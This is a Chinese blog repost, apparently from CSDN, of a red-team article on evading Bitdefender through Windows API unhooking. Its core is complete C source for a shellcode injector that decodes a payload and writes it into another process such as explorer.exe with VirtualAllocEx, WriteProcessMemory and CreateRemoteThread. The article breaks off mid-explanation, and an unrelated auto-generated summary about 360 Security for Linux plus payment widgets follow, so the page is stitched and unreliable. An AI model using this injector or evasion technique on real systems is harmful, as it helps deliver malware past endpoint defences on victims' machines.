注入应用绕过活体检测_【渗透实战】如何利用API unhooking执行进程注入,绕过Bitdefender安全检测...

本文介绍了如何利用API unhooking技术,绕过BitDefender的安全检测。通过恢复CreateRemoteThreadEx和NtWriteVirtualMemory等函数的原始字节,避免被安全软件拦截,但最终仍未能完全避开检测。
摘要由CSDN通过智能技术生成
03f7bdb9215d2df4eb607b1360811628.png 点击上方蓝字关注我们 1 概述 绕过AV/EDR等端点检测是红队行动过程中的一项重要工作,在开始进行绕过时,我们需要先了解这些防护软件的工作方式。网络上公布了大量安全产品的工作原理以及绕过方法。本文主要分享如何利用Windows API unhooking 技术绕过Bitdefender安全防护软件,以下为演示视频: 2 什么是API Hooking? API  hooking是一种用于拦截和检查win32 API调用的方法。AV / EDR使用此技术来监视win32 API调用,并判断这些调用是否合法。基本上,AV / EDR将通过向解决方案本身控制的自定义模块中,添加JMP指令来更改常规API调用的执行流程,该定制模块将扫描API调用及其参数,并检查它们是否合法。 3 进程注入尝试 利用以下代码对shellcode进行编码:
#include // This code was written for researching purpose, you have to edit it before using it in real-world// This code will deocde your shellcode and write it directly to the memoryint main(int argc, char* argv[]) {
    // Our Shellcodeunsigned char shellcode[] = "MyEncodedshellcode";// Check arguments counterif(argc != 2){
        printf("[+] Usage : decoder.exe [PID]\n");    exit(0);}// The process id we want to inject our code to passed to the executable// Use GetCurrentProcessId() to inject the shellcode into original processint process_id = atoi(argv[1]);// Define the base_address variable which will save the allocated memory addressLPVOID base_address;// Retrive the process handle using OpenProcessHANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);    if (process) {
            printf("[+] Handle retrieved successfully!\n");        printf("[+] Handle value is %p\n", process);        base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);        if (base_address) {
                printf("[+] Allocated based address is 0x%x\n", base_address);                // Data chars counter                int i;                // Base address counter                int n = 0;                for(i = 0; i<=sizeof(shellcode); i++){
                        // Decode shellcode opcode (you can edit it based on your encoder settings)                    char DecodedOpCode = shellcode[i] ^ 0x01;                    // Write the decoded bytes in memory address                    if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
                // Write the memory address where the data was written                        printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);                        // Increase memory address by 1                        n++;                    }                }                // Run our code as RemoteThread                CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, NULL, 0x50002);        }        else {
                printf("[+] Unable to allocate memory ..\n");        }    }    else {
            printf("[-] Enable to retrieve process handle\n");    }}

编译该文件并运行来注入explorer.exe的shellcode后,将得到以下信息:

626f2b4334cf3f3d8aae5f193131a662.png

BitDefender检测到该文件的执行情况并进行了拦截 从上图可以看出,BitDefender检测到该文件的执行情况并进行了拦截,同时还删除了“injector.exe”文件。因此,接下我们需要分析上诉代码被拦截的具体原因是什么。 4 hooking检测 重新编译可执行文件并进行调试,以查看是否有任何外部DLL被注入到可执行文件中,结果如下图所示。 44cda11ffc725c9a8b324c4ca09e64db.png

注入的定制模块

从上图可以看出,可执行文件中加载一个名为atcuf64.dll的文件,并且该文件与BitDefender有关。 因此,研究人员开始从最可疑的“CreateRemoteThread ”开始,调试在shellcode注入中调用的主要win32APIs,反汇编结果如下所示。 66140775184f8130fec259376104a25d.png

CreateRemoteThread的反汇编代码

这里并没有可疑之处,但是从执行流程可以看出,接下来将使用CreateRemoteThreadEx API,因此对其进行反汇编,结果如下所示: a606a7ee9d7992915c9359e013f1872d.png

CreateRemoteThread Hooked

该结果并不寻常,可以看出在API的开头部分有一个JMP指令,如果跟踪执行流程,将看到下列情况:
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Linux 360安全卫士是360安全卫士的Linux版本,它提供了木马查杀、网盾防护、垃圾清理等功能,可以有效解决木马、病毒等安全问题。它整合了360 QEX、360云安全BitDefender三大安全引擎,提供了强大的安全保护。\[1\]该软件的最新版本是3.0.0.71,它对隔离区进行了重构优化,提高了工作效率,并调整了隔离区处理和实时防护弹窗的显示状态。同时,还修复了一些界面上的操作和显示问题,提升了用户体验。\[1\]该软件最初提供的是rpm套件,适用于Red Hat系列的Linux版本,如RHEL、Fedora和CentOS。但现在官方也提供了deb套件,适用于Debian系列的Linux版本,如Deepin、Debian和Ubuntu。\[1\]安装Linux 360安全卫士需要满足一些依赖项,如libc6、libglib2.0-0、python2.7、openssl、curl、libqt4-network和libqt4-sql等。\[2\]在系统中运行该软件时,用户的UID为1000,GID为1000,同时属于一些其他组,如cdrom、floppy、audio、dip、video和plugdev等。\[3\]总的来说,Linux 360安全卫士是一款功能强大的安全软件,为Linux桌面用户提供了全面的安全保护。 #### 引用[.reference_title] - *1* [360 安全卫士for Linux 发布新版本](https://blog.csdn.net/weixin_29248653/article/details/116877230)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [360 安全卫士 for Linux 使用结果](https://blog.csdn.net/weixin_31813357/article/details/116801111)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值